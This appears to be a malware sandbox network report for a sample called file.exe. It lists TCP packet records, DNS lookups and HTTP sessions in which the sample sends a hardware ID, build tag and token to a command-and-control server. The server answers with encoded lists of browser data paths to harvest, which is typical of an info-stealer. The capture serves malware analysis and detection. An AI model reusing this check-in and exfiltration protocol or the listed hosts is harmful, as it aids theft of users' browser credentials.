Nov 12, 2024 15:42:23.613270044 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.613328934 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.613360882 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.639153957 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:23.691659927 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:23.693697929 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:23.702826977 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.702850103 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.702876091 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.702897072 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.702907085 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.702918053 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.702938080 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.703032017 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.703032017 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.703032017 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.703039885 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.703049898 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.703058958 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.703085899 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.703093052 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.728343964 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.728373051 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.728383064 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.728394985 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.728440046 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.728457928 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.729557991 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:23.729613066 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:23.729628086 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:23.769731045 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:23.818105936 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.818136930 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.818169117 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.818257093 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.818259954 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.818270922 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.818281889 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.818315029 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.818322897 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.818325043 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.818336010 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.818346977 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.818356991 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.818370104 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.818389893 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.843767881 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.843801975 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.843812943 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.843823910 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.843837023 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.843847990 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.843858957 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.843919992 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.843940973 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.933729887 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.933765888 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.933777094 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.933787107 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.933798075 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.933808088 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.933820009 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.933830976 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.933846951 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.933877945 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.933918953 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.958867073 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.958939075 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.958965063 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.958975077 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.958986998 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.958996058 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.959007025 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.959016085 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.959052086 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.049037933 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.049055099 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.049067020 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.049079895 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.049093008 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.049104929 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.049115896 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.049115896 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.049128056 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.049145937 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.049179077 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.074285984 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.074302912 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.074315071 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.074353933 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.074374914 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.074395895 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.074410915 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.074423075 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.074439049 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.074449062 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.074450970 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.074470043 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.074484110 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.164340973 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.164361000 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.164374113 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.164390087 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.164397955 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.164400101 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.164402008 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.164402962 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.164416075 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.164433956 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.164479971 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.190216064 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.190228939 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.190239906 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.190251112 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.190262079 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.190273046 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.190278053 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.190279961 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.190289021 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.190329075 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.279818058 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.279858112 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.279871941 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.279882908 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.279896021 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.279907942 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.279906034 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.279926062 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.279937029 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.279938936 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.279970884 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.279983044 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.305143118 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.305167913 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.305179119 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.305191040 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.305195093 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.305206060 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.305212021 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.305217028 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.305222988 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.305228949 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.305238008 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.305259943 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.305264950 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.395030022 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.395045042 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.395056963 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.395066977 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.395077944 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.395088911 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.395097971 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.395100117 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.395097971 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.395111084 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.395143986 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.395168066 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.420511007 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.420538902 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.420550108 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.420559883 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.420569897 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.420579910 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.420584917 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.420600891 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.420610905 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.420623064 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.420623064 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.420631886 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.420646906 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.420665026 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.510253906 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.510271072 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.510288954 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.510291100 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.510294914 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.510299921 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.510303974 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.510313988 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.510313988 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.510324955 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.510344982 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.510359049 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.535628080 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.535641909 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.535654068 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.535676956 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.535692930 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.535942078 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.535954952 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.535968065 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.535978079 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.535979986 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.535991907 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.536010027 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.536035061 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.579469919 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.579478979 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.579513073 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.625417948 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.625431061 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.625452995 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.625468016 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.625488043 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:24.625662088 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.625674009 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.625685930 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:24.625695944 CET	80	49794	185.215.113.16	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 12, 2024 15:41:09.223192930 CET	192.168.2.4	1.1.1.1	0x25c8	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 15:41:09.223362923 CET	192.168.2.4	1.1.1.1	0x8376	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 12, 2024 15:41:12.760121107 CET	192.168.2.4	1.1.1.1	0x842a	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 15:41:12.760257959 CET	192.168.2.4	1.1.1.1	0xb066	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 12, 2024 15:41:13.756176949 CET	192.168.2.4	1.1.1.1	0x788e	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 15:41:13.756320000 CET	192.168.2.4	1.1.1.1	0xaa9d	Standard query (0)	play.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 12, 2024 15:41:09.230065107 CET	1.1.1.1	192.168.2.4	0x8376	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 12, 2024 15:41:09.230119944 CET	1.1.1.1	192.168.2.4	0x25c8	No error (0)	www.google.com		142.250.185.164	A (IP address)	IN (0x0001)	false
Nov 12, 2024 15:41:12.766905069 CET	1.1.1.1	192.168.2.4	0x842a	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 15:41:12.766905069 CET	1.1.1.1	192.168.2.4	0x842a	No error (0)	plus.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Nov 12, 2024 15:41:12.766962051 CET	1.1.1.1	192.168.2.4	0xb066	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 15:41:13.763580084 CET	1.1.1.1	192.168.2.4	0x788e	No error (0)	play.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.206	80	7284	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 15:41:01.996139050 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 15:41:02.893347979 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:41:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 15:41:02.896203041 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJJKFCBGIDGHIECGCBK Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4a 4b 46 43 42 47 49 44 47 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 34 42 43 41 37 36 43 38 30 35 33 34 32 32 38 33 31 39 34 30 33 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4a 4b 46 43 42 47 49 44 47 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4a 4b 46 43 42 47 49 44 47 48 49 45 43 47 43 42 4b 2d 2d 0d 0a Data Ascii: ------EHJJKFCBGIDGHIECGCBKContent-Disposition: form-data; name="hwid"D4BCA76C80534228319403------EHJJKFCBGIDGHIECGCBKContent-Disposition: form-data; name="build"mars------EHJJKFCBGIDGHIECGCBK--
Nov 12, 2024 15:41:03.185225964 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:41:03 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 6a 68 6d 4f 47 52 6c 4e 57 49 33 4d 57 5a 6b 5a 6a 4d 32 4e 54 6c 6c 4d 6a 56 6a 4d 7a 68 6d 59 54 52 68 4d 7a 4d 7a 4e 6a 4a 6a 4d 44 49 7a 59 6d 4d 33 4e 54 64 6a 4e 32 49 33 4f 44 63 34 4f 54 41 33 4e 44 49 33 5a 6d 59 77 4e 57 51 7a 4d 54 59 35 59 7a 51 33 4f 44 4d 32 4f 44 49 31 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NjhmOGRlNWI3MWZkZjM2NTllMjVjMzhmYTRhMzMzNjJjMDIzYmM3NTdjN2I3ODc4OTA3NDI3ZmYwNWQzMTY5YzQ3ODM2ODI1fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 12, 2024 15:41:03.186636925 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDBKKFHIEGDHJKECAAK Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 66 38 64 65 35 62 37 31 66 64 66 33 36 35 39 65 32 35 63 33 38 66 61 34 61 33 33 33 36 32 63 30 32 33 62 63 37 35 37 63 37 62 37 38 37 38 39 30 37 34 32 37 66 66 30 35 64 33 31 36 39 63 34 37 38 33 36 38 32 35 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 2d 2d 0d 0a Data Ascii: ------BGDBKKFHIEGDHJKECAAKContent-Disposition: form-data; name="token"68f8de5b71fdf3659e25c38fa4a33362c023bc757c7b7878907427ff05d3169c47836825------BGDBKKFHIEGDHJKECAAKContent-Disposition: form-data; name="message"browsers------BGDBKKFHIEGDHJKECAAK--
Nov 12, 2024 15:41:03.464306116 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:41:03 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
